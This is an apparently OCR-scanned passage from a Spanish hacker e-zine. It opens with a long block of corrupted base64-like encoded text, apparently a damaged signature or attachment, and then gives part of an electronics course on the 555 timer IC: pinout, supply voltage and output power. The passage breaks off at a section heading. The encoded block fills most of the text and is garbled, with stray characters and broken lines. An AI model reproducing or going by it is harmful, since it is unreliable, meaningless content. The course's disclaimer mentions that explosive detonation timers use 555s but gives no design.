0z94ki 5bRzcfoMMg1H5mM5AEGN2 /vkk5CITXD3H18RgKfsOp+UE/CbO7IYkB/RPp4
amMQjpLdoywmzzVcHS1dbFyGYT1d6WANIucVos6aQMR5XLSGwOwmeFo8Rzg/RTpLX
OLsJVyOT1+02EGFY8Rim3SLXVVCtAMWY3Y5yHSWSsYjcR6mIjxwNUOTIbudw1SCiNe
IMXfIwRt1p+0BkBISHhNPCKYBPIZAgYuanOL6wWkGhwebgwbP/5enXCCz5LR06XSSs
NIWKtUyhs3Es52whM9InzMzEX6xSSXeT1S5eGN/gbHA21btgbfxMyPUKbp8nXxJu2
IcJdGUEISA7KQIFXVTKCQX1ImjXg/iA/Atx569bE17spAQogQLYydKSYEOLjYI3/ee
7 jbX+FmgXtTqKmozObwWES9bwGnXamt8483pvT406dg3XxtOKDamRa3w8AOCHSWZW
rilqdRelRf2Gvdz1m6970btkPyFN6jT/fBOUN7SoLWEawpkg+NqitmiAwQvCT3v0
b19+uFjvh9150cK8HmEa38v0kXxvz3nUPxovwqClrrIfB+RysSmtqf+cWHvqquv3X
0C4dTpgabrsqNcIItc8aR72jHti72Q3102XXCFWTQOIEXKCL5573znG+0T2i1W2E]
X+XQzGAQeQMKZUpuDBeY77H8P7me4GgCxfGmO+NEWbhfRjye6kuf/g7quULXGQUX
EFVQQRGWVEb5ASMz0BZzzhfEiMGNEYDZCVMUU1FXQmLowqU/7BiMK7iGC10D6Ba5c
HSweSfLQTVIRiwO/z7QUnUkwoCKWNQA5Ix46Jz0salswvCSThrorPPn8UFfKQFEwW
FJ17K81iLNy8LRbxfgTMhiUiFbXxgrsIbINjXxIkhpiSTvYUgdYUkNVBevtSBsh3iHi
bSgrT6NokPPKAldvkjAadhg/LzJiRDNPANSFaxUs60d4idtjETTARUEUXjgpexC53
rsoI+wizwbIsqCbFUGRJI7V+TMrDekxoUPSdnQfhvM5bDOvdLripKGL/fbqoihaf3
rowpCpH7La4qQhixv2AnIYTtN++khAH7P9ZzICEH7 /74zUPDbv3XnhEDVX7EZzSUDe?7//vgRcGrxusDO4TGhM2MCwsLCRseNjjYaPD8v3Nw3YPqxvoy9B8T99z
N2zG8ICITPIPQ28MxvU/Ddk15LMh+4b8MGSFt/ys59k0z2dDyoCow1vVLCK]jzP+Nv
h8dXxtsHzXEAbIHAINmMB5n4tQ3vw/6I9LMqCXThdgjNf29dE7 /R/6H4d3L723PUUN
TSIOW13vzQNhQ8SV1XBISNMD2VCSSHp6T4ne4DDT48nPI95FV5VSIN/IfucTo5SPi
1/Xb/3Td2TbGOulB6PPO1lyonNe8/g/HDo4rerFjLLVCA/sNXz94zd1L/foSHiImM
rfyPodt09anDcLd1kP2FIYXHMfzjzf7znojbvyYIbbnYf6/qwMKIQ89/zzjGHuU3/u
t5inBh1l/b25Lwry/fKyFiYx7qTngbsPxk37Qo+10/9ev1x78IAjwIWuzcqT19C9g
EqDHpeURBK195zM9UP78+rGVC7+bUNCHKBVVpPIR2+/1wMfgPPSgUk80cq/si7cuH
MOJRX+ETL+y82UAC5Z+WyPadM6d9pgx4tUTps485bbyhAv7zwt4RP1967gutd7xA
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8/gMdvorN7GwLXxeH/W3NjLTrmBI34m/ZEWvS9vyxB4k2DdDeeUDzt3GN2XshzFz8
0dUAgL9ZsF2elnLzYYi31lduL3xsvBX51ioxafow9og++1wwIAniZWX855070Hwze
OanFmyvbM/+rCEvus+1Pu8bmrbOLkR2yvnD13wt1Td8x0Krucf2Qpy5SwwWcESAd/S
RQsTssk9q7FE/3TD+K+Gc00z3Gpjqfmv5+8ssGG59ZxyGp9yupay20DUHUMAAXTT
hx3daTQ41pkz0s1Xydns1Qdsk1RbvsxkyhTppw6ptUFukMOdGocc7 fmgmv2dEqCy
q9pwyyqlgmmlvCqFVCN+7W+A3t5MsZcDMBCdzzRUN1Rbz5g7wh0dwGOYDozhTXUq
5383NYvQauDASDWaBoylajdNUaP+TxRJI02WKGiSNhXeAVCN1YCpgKzU3LctCvBau
FnwUimi45nvweAGUCoINICDP1TN30HTINMrGs8NGW0023/CzIHyC1CnQ32grBw7n
VtduNyDrmQbv9,/QwOAGDD3TgX5WpKNdkifOEUSoonsJI9XTIDYwWon6aog+UHQ6hXd
I/b9uv967LsadywpkcqyXx8xg5911qG8G1lhNi+2Dr7yafyzMxrsj7cQkB6G4+8Yus
BBDzIZLMnjM3Zz8FwgztmzGhwCw3wUeAwj1SKFxPzK1zrj/710ReugzjOmPPlulKr
UYMG+a7TIUKFOgXT88iU9t3pmzLc22Lbr2136dwvNA401 /s63+wLMMOPKL111d0V
G1row3CPKUB1tTQ+qLLXP7y51Q9ZU0JkdwUK5P3gTUHfpkDnwcAeeHMT50d9sDBB
jMD/O91VCOUj CKNV3MHOOL71iLcoLBOK+73] ZVllVBS/gKerfLLU k+SAS1bCDITIH
GhtLn2TUfsbGFe7SaYzqB3UotFCwjHUyh1M4Npnb5DivaYkR2IhzrPQSIywDI jwm
uaOnTRTo5wxwxkwp1zTcvj2IL8tTYm6LP+CcrgxCkCjS5y2TIGveKDrIy3nQThHr3j
twe0CGQqY3scm/fb4f31IFO00B7Kpjjm5pEIdDjp7Dt+dfFLWYAUWXPESIRWTFUmMaF
e/1tzSF317s1/jm07KnzMywB+Y1AMSffId1lnpH7SS6Q0Nn5Lep71rSzTOSynzFcLc
1SXtyHwoOovVdqzs+cEXPyMOnzKzXs1Q7t1vr2G10rrkPUvtDcHbAOTLVGa8yHCemK
53DgJciYzNcDF1/i030fMHfTS40b8LdA8QhhrbkK2b7CetN6y2q2q9Zz1rhXyX/N1
ZnFf/nHHJUejw+FocjSkCI3gqwBVH3dwIkJuz7REOXdHMOIvvUdrvSECTt3TXXel]
XCT1H11Lhm1Cg18kg+dRwUVpPVEDHOW]bitvmyXqSANP5VviYyZNCL5KB51CBOEWPO
uzvdTW6HU9F95pTgk8FHg88Gd00zL+CQz413XxDRNITnb2h1ze6amIiTt2H1jm6TC
mijoxvtl/bhGnna3s4p0eLYXFSjNIgGnd7drDgwfMp9AUjII6D7e1r9hs7gKfHnY
04PqobUEXzE7eno8wqgXTf20kQ+bxc1pMCNMYt2VOROT+LC56TcWvZX70X+YYi+a
/PpVrD+ZEWSVPYhZXnWa8NtPHzMu9d01/mHcvmv7 j4mfAGpN/nvvvouj/uwIaO6uD
HXPmS /d9KpMFvTCO5ThfIu4Nqgoi5PXtmRga5hjbXx0gbMDzu/erAgx6t/XuubDLVwn
ucs3InwIjJ5/5HKOK44w79afmzzbkhCK1Gkos5YOBSuiJKFMxQT/8egnQnRcwCrm
aMwdVrYRxc2iBb+4ZErQxc0jBTLOL8+Pg+Qq0IkFVvYRNbp6TVvSDHaSKk2M+QORN3
Mu8vrlGgdmduftbtmpn+gfGadMviwjQhmTrkvS7fTtm7CMO2+rLkzfGVrIadwUFHM
jwidzAhF2zFNg45mDzozf5CyYd3a9XnB0zUBG1Fw2CYUTBei YMNNKO+aPDOSCIMA
NwhwmgCghQGtUjJIsRL+odfsozi0Ew+nqPgTq2CW1lQvzewnhNdYJRwayha76zrstd
1zzCIDhXn1rPw2utXdYzvqflgPX2pxusx63nY2wboIEovI7665Frxgj+hproneAo
s3A2uTo+GVuhiAY1dxD8+0C6KS4ekvuyq5bgh6khwwkNF3NDVT8g+WBSIRNrCXMz
quKngijthbaZOnejLRyCVvMb1thG9g$ttL653hRJ/58deYjPO/H+MthRD
CqNcNQz/wM8Y4d4xBvaM0dd4Taxhgu3Bz4I119g4U06h0avCA2bN/ZCz6mvUS/zsz
CYXXKLOtn6BPLTOsL5GW+ZRTMpO1X7wornyNLehGSe8PKOgmbMsYi8DUTOaQDOIW
/nQfiF7zzXgXiZ/cAPgPA2uuTPIS0CZ65+WqEgWTbCOjPPTrL4Zz]j6tXRU2V707a
a21w2EYQDYewWvz1lyw5Blree2QbwsXxrhMHn60oCTHGTa+yUfmbLMnMSp5boutnwQro
a2UyzUkmLzQMxBKU9DOp3heF06AsLe] RQmOCLEb4AYIpIWWYV47nQAKj pKmOyw2N
bOM7an3881CD$K1FucmiD4IIU1ap7Um66yvso7sz5Hi7MAAe28Ej1XI2cLthe
ACOZtb7IsXvChfVFFtxfvIjePxdf4F12hsq3vqpbjq86LzhapBBuFs1CBAI8uVka
fPpXXCNYAKIOTP7TR8I8pUI/E3MGLtS6Z4PtZG8wy0Q+hmIZ39FKD013s9vCG9bs]
ebcMbVv3sxsvnllvwvgr+d2 FWAhXF1a7/wWnghG7ATzcQl10TIY4qhOgHaLCyjSBAw(
AUETUae1C+2k6SbvvSozIrzhThSK4TnzMudIMpIMtiEmjHOQyckjcgaRjuvEBHXC
TyguKSx5R02QuNDvV1UNtnGwWr1Pdde/97/2/f73/rT5EFhsdtdhgvFPs8vAPZzGhF
y237u++2yTx13/YbiDX04eAmbfCb61C9/d06c736ETHIXVUCWSY556jh1fDOWTDY
pPFIr0KvbLDv1+axcbNS2s70UebkfIA8dN167gGrBtbRWO119LfVA5+NhTY95YV1]
fe9/11hF1l/ei3RwW82/Henbh5fa98tb8gf/Qb/HtwQ7GpKtdQNZz+p8T1LWfda91d8F
LwY313bU7g3jg+fX4h6pXdPDInHAJADX0aQwo3tISHeHWOHpiNWPPBLTXYQtK7ZM
6AufUuphzRvwWhjxonk/LUURGIIoId+uliutv46rm01wSbFwxMbvbrSNUEqPOwvTf
0YQijjldnk/IxYycaajoONbv3asn4+19/fOMsILfVV6+XBL8INN271VvKNZXtI5XxGo
LrYEzwU7u6DzK+10U0ofdz3pXnwveIXXTNLDy1l+vuOPdfuvkNYvsIlbobjoJ+zor
3y3ckxgnd7ex41PdbvzxfD+w4Nm11wlm3PHQP4L70SIRO5xk4 TWPGAXtZWOHVTPO
ZNVPC19EZz/1P8sg7DGFm/xn9spAoCI4NWs 7whyqvGHW/10SL8s5BeD/a8rE5Utlt
tpyrv/djH2s5gwmiOaxetIwQvlalMj553y4wgzXavsrtbLvoQbtXzzdhDMTeRE 1l
XOIkp/Yf7ehGGBE86mskp1jDYgom4%waaYBEOWCTGfEBVPBbMily18FLwSvax6
g9fS+RwdRXdCidASWqUOSEISFHFXpp1gxXTyCbXBbQOVEfruTCstTczvSrLLuebK
HwasHSN7WXmMNUR4kF9PKGNp6QhgMAWI 5X8H2HBAZRIvmKWIM+Q400pVMSM5uyIB
8b11hzgdi5yDTS01Yecq9800rewIV94I1V+4gww8KgCIb0Ol+n0ieH5TuoriQbdK6n
ihQzEGYkafSjnamhTdxQj1jriEazhri2ssN1tLGv180V18K4T6DPOEKrjYhYPh6y
Hhe7NdjNEHQCCEWC+0hd/NaQtUlMbOqgPx1/zzf34GeXXOmxpADK140Z+yXHCCSC]
g84voVPoLVLi4X9+s1Qz6w512bsSzNMkmKBIkL52ZrQEWOFHzygOcOxaPSXyKBv2
Td+hzBHW/0OKQesF6x3rLeTl0i1R0OaPLgLquexPj6EFfLXGygzFnwowY2rzullLppT
HvgGdVdEXhPKqzwMIc1lDojxmIwIVOx179ndgRju0/4hAd3yHdfopEkHMdkxSVYOq
iukqL1lulBvXbwtmz3nMsz41LHFv5w4yXF1X+kPzKQOtB6YGRjgXKI46WfEX+uUriz
ef8vfYUA3d7eca2v1f4PLL0OS9dOVDOWSIFPYY5ZSLG2PnWm/HLD1 +rjpHX20DPw+
1ECTntfXk4+0ou3TCS92Z21gBOTO3Qfk+gX92TvXdf6M/eNa0lx2vbao+SCrTvOXFz
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5RU8aPX1Zsqud3Tw2v1jPx4Ujg90i0vw4NankL1Wn10th0jmSmU/LX$01ryeS
nfdgScDRhTnYg6nJalqQvkH+jRhDeTeGl1lov1lUwfv8RF6ZUWSABMEG++7jsTXTdO+1
pb/gmTya4Mr5/gN8ZIs3G8LpevaxXKxeY7WEpc8I+30sMyNzmu/OIRWL27IJwf8BJ
GCLVW+B90/YuXe6tD+Gznvz0vyDzZMgDaaR41YMxu2Wk8qFTPsVj2YE46ymSay+0n
Y/11nY7V1wBUX69giBrwHLsWoV1E9mm8pwy1QaceBHU29jEijBbAT4S20E9XF1vZzZz
7ecsi/HHHVeww5R6ZnWwWpbwCxdPwlyjTVKd5zdC1I/CEOR81yD1D1iFkvvIMYBZzPU
GeSHUp8iP6CMkp+2617j9sH1tVHDIGTSD1riA0//qY2q73jqSegbbYrN6EK89g6KU
+ua5aAvh1fTa51jzmzpfMNuPvBen9yLYyUUGS/BC69hKLN] fHX67 PNA+NURQUTOXR
H2Xx0jVHjmtNiVHPzVrPKNO80ORzZNOE+CiDipfT1INS97XACCTXuwLs851nu+QelIgK
RGVNyqdXKnfFq1e0d1QIrGc7PCIOI++ulJBG/deuz9BirPxofdujwvkdNOIKvdb/
+640r1s6I11zIxPU9iusKLtRKiTbTFY3Y10XiQ519BYMzWiFVHXOKKSROYZSsuR9cu
4zt4akoM/xcro81jmM83vvw397yecxpeNsmRWMzZ0zTQKj696cGoxKwxfzz2aswsP
r2knbhIieuJqhMultbLhhynqQjqqb9FacIoPyDigBkD5XQRbN8ssWPB/1yTsqL9y?2
2t+B6sQ4CI6/tYmSDMHzd1Tyr/AmrHLwZDEyeH4bac/YXxGptLni+17SpDTjFOdXp
ufZOHCCtoY+ONGeQZgq96EsnUI6TejNVXGBQG1CshTIbay45w/Nuw/4JAhYJYFIT6
31vkGp2aQyjjINR+MsCltwsPYoGzySYNU2PIVv2KX2k8KNrm3pdgsHEaTrsMksQ59
KNPYUZCRThdtmw27nBYgkZuN5Rwp6ubTmyjRNAPLVVKGS5Psqp7nyVvq/A/KA+1d8k
NfSc+9vRBcy1APO3cFg+6GjtucEo+7F4kLf33PhhYP+j/01C/Do1767cTg08TY7C
VYUNVXPYXU4aYJeBWG4pMaSy53LLbFAOXg7PMcs90QXbNtzjjS0bYGloSpdavLon
9pisFUyJcqET12BGcsT19yGoswWYATIwWDzeOMK3viwb83eIEKXqSm3IBGW7 pwW7 cWNaN32
cDgSm9elhdon7pUeiETvh5LpQ4n9UKLI2wITzfbaY6FtaOA5CcHTBUCG2cglIQzb6
8hL7518vVvf60NZ8tasGhQzeXoA8XKUVhhbu85LmOTvnOkqIC5Y5KupF60QL5TukK?
rBFri9xulzz3L311Czh9wTxQpw8LKBVWb2 rNUN9IWKIQKEtYy2IrGIvr5EmXY51Dw7
RTkcDpG23I0WwyiM/HUXFSTur/uCROMrgA3QcsCs70wNTIR70MrkKdbwo5bRzeatX
G39Gbd1pvv6erv5SmuLTmA70Ejr+oj2eos7Gyg8use5r/EKOf13sfuhvhIx7RcMivP
9yq%V805emchIVSZrtng9GduVSn12VXgo71UX/Peq/nOSDXYQoF4IyR5V71yZY
5gZ1Ti0ovNu9ymgFausl1K751VLLrIrAIC++gdjcwryGzROgLFA4uwvjghPiw3V7CN
wZ4Tn9kgZ/+5wKOF+0/gSmTLws JoOymMKEWLW7dMTJ /Uokv/Aaw5H+UCosmPLhw1
ODFKv0518KUTSpwubPMLFuUTvfdaz9/qzztbux9YDY8TOURP2DeyanhjQo3xk4st
D45qgoh/fN7IpQev8FDUbErbeTGhKwM4RoeF5+Ths3/GTx0R9I59FOCKUTZz9¢c6Qx]
x6cRkucX2sP2TxM22k+TNSQ8+xkDHb3P2buNDQ1BkVUKT32F040306Z21zS14012N
thVU+ETXa04XBL8AjC3f0ob8wfy63yiOu8ESi9/S8gsIMYG3z8N1fymxonD8TDLYC
r5df7viypzKvRPT4fVyly+sFo23eS1409fpXgalvQh1f5hcqIMzwICOLTATecuzVv
RwSXbzkPFTumvO711LhEnnPzpR6Th6wHVI1umz6UnQlZzeVsHINBT8EGebX1HOC2we
QJITLLFkB8X0sAgLg8S3nAUWUEh5stgk9weoXyisSvixP9fq7EX1bu5SvfDQNtcP5fv
LCic44RBNV2hX1IdAYNtmTfXKTwnPiZz4yHrthSFOHqUvyijCsj2u5q5wX4AnbrikF
Ts6211/86NnK+ROTAMNpW5BI8rmvenhP41ySPgH2ptqwcz24m5+/TkMOWAXN5wYda
1DmPt2wW43FypB2f5XGU85xc4n1S2DI TMsGVpVX4RpZI8bph417TM7+zhkk79g8gq8
y13B+ct5HOYOMAYIgNoy3idyLjTvSh6e6hMo5815EdzT7p3Pr/YEXABM1bgIfIlf
CHNe3rdcXAHTOS6BF9HUA040T1KACTVHUCGD2TG61FYIJ0gMNRMSYCa90MMS 2HW1T
5vIVvalOByoybDJf1ck1l0eL1lEf0G2z/GV1ko/4B/pCOjKptIQX7ioxy5bHC+gRmqo4
eZ8HNT20DpFOSXMHS rwOpDLe7XFFBM6xzXSvdP1KeITEUORJuJIftbFs+r9onAvsL4
AWHOj fMD8IwtzyWueFIXVUk]IjwP6arnaQlRI9wrzCXz16o0aj5gE4EwXze7edKBX8Z
sYkgAhXxMgBD5AHbxfBwYg/kun9tf1qQrjAvwCG50kiN10sTI6MQcezjOUzAFsz1lo
S1Tbi3wF6RA4h08j T4GKAFoazEHO4+MgJkjsAZagl+PjObAGOVMKRAOXQC6FK7jd
ApEA40]jMIBPL44B2FgQFUkYNIIgTYtg20gkApBFnQuduowNGwvmz8sD08b+EHSV
vBiJQHgdgOXxjGpGEOIE38VvVICHCZ8wg4VHtKMNFWL /qmANQbOge3pLEXIF8SiT50
swyur+fnmvGBfuPenMK8QzbSGOKUASOWUTX7RpZL4FbwrvI+IeDN/InJyc1x1gQI
1j4XirMAry21kjHsQv6IodyPltMsijlu3olkjEbmIGQ4xi9HydyYo9w8yvCiMpgl
gsmEgEzkfX5p+YqIMjEbcS5huUQCMYCOMRrtU/+STvet9Ah+HyFH6ThCnaIh9EQy
r49HETWUi EMK8EgVpPlE50q1K7y0K14jGE6ISVO8U/N6kjHZNnZzGeQYwn6LhIqwg7Q
yCYQMsnX19g0uTVvIIkX4zThLv6UOvXxXMQDofhn37ew3s2BvIQwW2gQIckb6Z6BUZEO
8E7GXK1GASZzSqAYUNESOqKKBEZORU+RX1/4Ah+YNAaE6FUWEGO+L3SmU+Vv8D0ZbtQ
WDIKSECSDcIVHWcnAT0QI6wg81AATY TmEYXAYffP1kAkiMZGjYNB1L+e5y9bIpB9
Cm1zZssKz0s+NHAQqZ11Y82Z7CIRFX4L1+V0Os4LjuS5eeIQwWEZdg8bPhOIDLASprIhI
GOdcHGYkUCRASOLTLSuU8R/Xjsdu3bDIzGapa2c4mE/XQUWQSrF+YjPga+pPQGUU6G2
WEKKYWOTsT1Q40+FS/fMi4GbVPIEPCqYae670IinszC+MCYlopEbncDRhQH/FC5A
PENYTrtfsSwncIkESXzr8mP/816f1lqcF1l1llppnznhBXrufzMRfwrSTU7mRjtfsoom
Ibi4Sz0jhyOoMsTOyrNEON9BaasCO0gTaRMObQTT1INZSUTBbRtNO1zFhehgnbjvof
gIuOMz+fm5CKC869z1weHOKI6MWOMYYCBXmMN10GOTmM8/ku8zP4kHEh/cyLEwWRaOb
NBHpcT1lctA4CUeQSBqvgGgmp8IJon/LkpFR9adXxASjRKHrMPW]jGAACINt+SDZQAM
VENMffEgbGIIdLLOSXxIPd1cCVVUEWITTACPEQMO0ZzIZz8NC5hXNg4hHGOdj02dtyu
gdompylavAbOsAroInPGQGM4FhrIIOXRwWIAHKkIkSY42NM100+PVOUGOXZSXITCV]
7YxjGa9njozGzgwNuXnzU/BOxduB93gKaGTbMeT6kMSh04f899DfDv146GuzidAT
eVRDV12/AMh3PHZ+QZEVOMKLjSH2Q9BAU/g7EBr8FnvGzAKw4161yXSC/NWKE780
AXXpGo50v00DOgLANkiu7CcoAhj6e0gXE2 TbftSvXxT2svBj2rs994/p2hmcRwOG
+K3h7kp5AAYY5jDgShETIE7VDIMmMgD5t9JAZ1G6ApgFABXGoSbTugbn3XiakGo03]
WAYMCQ6Bg/ rx+H+6kFm5ycSaTEOpRKD7DIG8tLwOjRX+nB17duyPDRme65zr333]
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CMivgtofDgObiRUegIbbYe3Tq7kIpA606cOGTIS5M+Ti1d87cLO07Ux+GY0koCI6Z
VBGaoQtiIdk4Ge8zeM/F+228w/DeifeXeN/EO5 FKRpXTOUTSNTIKTbOM+i gmk800
bp78IpTHEgAVIV/0ztYYGh9yowG1ZzeqspVvk5uc61iGAecSVMNYNg3bplFGXC1lsPQ
YLO2xswy4HMcNIRbrlo/z9zwAnGyHGgI9392QyYCuE2DezV11SU/Qlzqwg02iB/x
PgUMMRZqW+V418g/zIN771z/IK9pPOTIVSZUCZzS79mht67YBgATGhvD1vZzyNR8BQ
ttazhzv39rqQfvGqoj20PsDVHxx44eIb5tvadvEvrbdN6w7Xe72vb/1zdPnezvDur
umlUu77QGyfDn6x+rxmmNUtn1D6rbNTH1 1pZUKNGEPIYF244DSHhUuoNzGhGpbN8v T
v4bD4g031KMd19fdhG/Fn6xrA5t6sqz1lRmlr5RUbD1AetUPGE60Zj6RYMHXLGWT I
SgGB3gxws/aw/M0teYc9/0QnM5pp+0OwnULO39vjWRYyg8vVIZz943MwwKIjxTjnkBf
jXQIdv5xMkyHWajIefAcIMKLUAM/hz9BPeyGs3AHAOcOKzWBSqec1DNUIbWMEgka
613gr9rRu6iJI1nbpNGeh4+mGao39KT6TTOWY6KkF5Cr6vfp/9ANILb6D30Yfpb+hbN
Mg8wQ5knmGQmjZnFzGZKGIEIMhuY3zGbmSzml /MFc5g5yVxivmN6GZaNz4eyT7B]
7EQ2h81nF7G1ri+V2Fdymx2dfyYv9EIVI/i/byu5hD7An2PNsF3uTNRviDA8Zxhpm
G1lyGdyzfGXx5jeMPwrqHOSMXWN8M/DLCNDx 1nGecYi411x18z3zV+zZNxi5MwrLe8/
8FjdmMcS68buDeRf53/Hf8B/zH/GHyvtK11dF/+hvabsRCqpLHMrZEVKWUpjSnvK
4tRtjj20946Fy1PrPh8fmPrwlB1T3XUp6XPSn0/3p48u3/hStrrt5bu/0OPeL6uvb
s99cfj77cvz32bez2zzYnKSciXwvFfyyuC78XeHVQigyFWUXPVtUWIReNKVU54KH
nptQvk84ra6jokNu2c/qfnbN9b0rq6572ck64rqflf1hRfOK+Lef/wec=

=4awR
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-[ Curso electronica 4a entrega J--—-—-———-—————————— -
-Lbyelotro] ---------—-—-—--—---"- e SET-34--

#*  Curso de Electronica - Cuarta entrega *#

Estoy alucinando. Talvez mi monitor ya me ha quemado las neuronas, O
simplemente nunca las tuve.

Aunque no lo pueda creer, ahi dice “cuarta entrega®, lo que quiere decir
que cada vez disfruto mas el escribir para SET.

Si, si. Ya se que ni tienes ganas de leer esto, porque seguramente vendra
cargado de teoria y ecuaciones para nuestra querida calculadora.
Sinceramente, no me importa.

[ya se que el ascii del titulo es muy monotono]

Antes de comenzar :

Disclaimer : Ni yo (elotro), ni el staff de SET se hace responsable del
uso que se le de a esta informacion.

Digo esto porque la gran mayoria de los temporizadores para detonar
explosivos, se construyen con 555s.

Como siempre, si no entiendes un diagrama esquematico, alguna ecuacion,
o simplemente quieres enviarme una queja o insulto, ya sabes como hacerlo :

Dejando de lado las aclaraciones, hagamos como dice Microsoft :
Hasta donde quieres llegar hoy ?

*+ Curso de electronica - Cuarta entrega - ICs de uso frecuente *+
1. El 555

1.1 Que demonios es esto

1.2 Estructura

1.3 Entradas de alimentacion

1.4 Salida del 555
2. Modos de funcionamiento

2.1 Configuracion Astable

2.2 Configuracion Monoestable

3. Control del 555

4. Interconexion de circuitos
5. Caracteristicas tecnicas
6. Despedida - Moraleja
Comencemos. . .

| 1. EI 555 I
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1.1 Que demonios es esto 000
0000000000000000000000000000000

El 555 es uno de los circuitos integrados mas populares dentro del mundo

de la electronica.

Las dos formas mas comunes de presentacion son el encapsulado de doble fila
o DIP (Dual in line package) y el metalico.

La presentacion DIP de 8 pines es la mas comun. El encapsulado metalico

se utiliza principalmente en aplicaciones militares e industriales. Tambien
esta disponible en encapsulado de montaje superficial, con la referencia
LM555CM de national. Tambien se fabrica bajo el nombre de NE555

Asociado con unos pocos componentes externos (resistencias y
condensadores, principalmente) el 555 se puede utilizar para generar
trenes de pulsos, temporizar eventos y otras aplicaciones, tanto analogas
como digitales.

[que presentacion!! wual!l]

1.2 Estructura 000
0000000000000000000000

Si tomamos un ic 555 y lo observamos, podemos ver que tiene 8 pines, y
unas letras en su parte superior.

[miremos con los ojos abiertos, porque con los ojos cerrados me parece
que no funciona ]

Las letras indican la empresa que lo construye, el numero de ic, y otros
datos que sinceramente, no tengo ni pu74 idea que significan, y tampoco me
interesan.

Los pines del ic tienen unas funciones bien definidas

1 8
GND <--——-- |l o\N/ | ————- > + Vcc
Disparo <-- | | ~———---- > Descarga
OUT <—————- | LM 555 | -—————- > Nivel de tension
Reset <---- | | ~————---- > Control
4 5

El chip consta internamente de 23 transistores, 2 diodos y 12
resistencias. Opera con tensiones de alimentacion desde 4.5 V hasta

18 V y puede manejar corrientes de salida hasta de 200 mA, una capacidad
suficiente para impulsar directamente entradas TTL, LED, zumbadores,
bobinas de rele, parlantes piezoelectricos y otros componentes.

1.3 Entradas de alimentacion 000
000000000000000000000000000000000000

Resulta obvio (boludo!) que este circuito, a igual que todos los demas,
necesita una fuente de tension continua para trabajar. En el 555, las
entradas de alimentacion son los pines 8 (+Vcc) y 1 (Negativo, masa).

Cabe aclarar que en la mayoria de los circuitos electronicos no se
suele representar el generador de tension, para facilitar la
interpretacion y el dibujo del esquema.

El 555 puede ser alimentado con tensiones comprendidas entre 4.5 a 18 V
Page 2
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pero por razones de seguridad es conveniente alimentarlo con tensiones no
mayores a 15 V. Si por algun error (o a proposito) se supera el valor
maximo (18V), el circuito se destruye (Ffirel!ll)_ Lo mismo sucede si se
invierte la polaridad de la alimentacion.

1.4 Salida del 555 000
0000000000000000000000000000

La salida (out) del 555 se obtiene entre los pines 3 y masa. En estos
bornes vamos a conectar la carga que vamos a activar, que puede ser
una resistencia, un led, la bobina de un rele, un parlante con su
correspondiente resistencia limitadora, la entrada de otro circuito
integrado, etc.

Hay que tener en cuenta que en ningun momento debemos superar el maximo
de disipacion de potencia permitido por el circuito, que en el caso del
encapsulado plastico es de 600 mW.

Disipacion Potencia = I™2 * Rcarga

1 2. Modos de